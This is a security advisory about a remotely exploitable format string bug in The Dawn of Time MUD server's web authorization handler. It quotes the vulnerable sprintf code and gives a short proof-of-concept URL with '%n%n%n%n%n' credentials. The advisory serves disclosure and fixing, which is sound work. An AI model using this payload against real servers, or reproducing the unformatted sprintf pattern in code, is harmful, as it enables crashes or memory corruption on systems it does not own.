SecurityReason - Format string in The Dawn of Time 1.69s beta4

Advisory Text :

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Luigi Auriemma

Application: The Dawn of Time
http://www.dawnoftime.org
Versions: <= 1.69s beta4 (and 1.69r too)
Platforms: *nix and Windows
Bug: format string in web server authorization
Exploitation: remote
Date: 05 Oct 2007
Author: Luigi Auriemma
e-mail: aluigi (at) autistici (dot) org [email concealed]
web: aluigi.org

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1) Introduction
2) Bug
3) The Code
4) Fix

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===============
1) Introduction
===============

The Dawn of Time (aka Dawn) is a MUD server originally based on the
ROM codebase.

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======
2) Bug
======

A format string vulnerability is located in the function which handles
the access to the restricted zones of the internal web server like
"Reset password".
After having decoded the base64 string containing username:password the
string is used without format argument with sprintf().

from websrv.cpp:

bool processWebHeader(web_request_data *w){
...
if (str_len(pLine)>0 && str_len(pLine)<200){
char decoded[200];
char *d;

d =decodeBase64(pLine);
if (d){
sprintf(decoded,d);
...
void filterWebRequest(connection_data *c){
...
if (str_len(pLine)>0 && str_len(pLine)<200){
char decoded[200];
char *d;

d =decodeBase64(pLine);
if (d){
sprintf(decoded,d);

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===========
3) The Code
===========

Go to:

http://SERVER:4001/locked

and use the username %n%n%n%n%n
or just:

http://%n%n%n%n%n:%n%n%n%n%n@SERVER:4001/locked

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======
4) Fix
======

The bug will be officially fixed in the next release.
I have also opened a thread in the Dawn forum some days ago with the
instructions for the fix:

http://forums.dawnoftime.org/viewtopic.php?t=2102

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---
Luigi Auriemma
http://aluigi.org
http://forum.aluigi.org
http://mirror.aluigi.org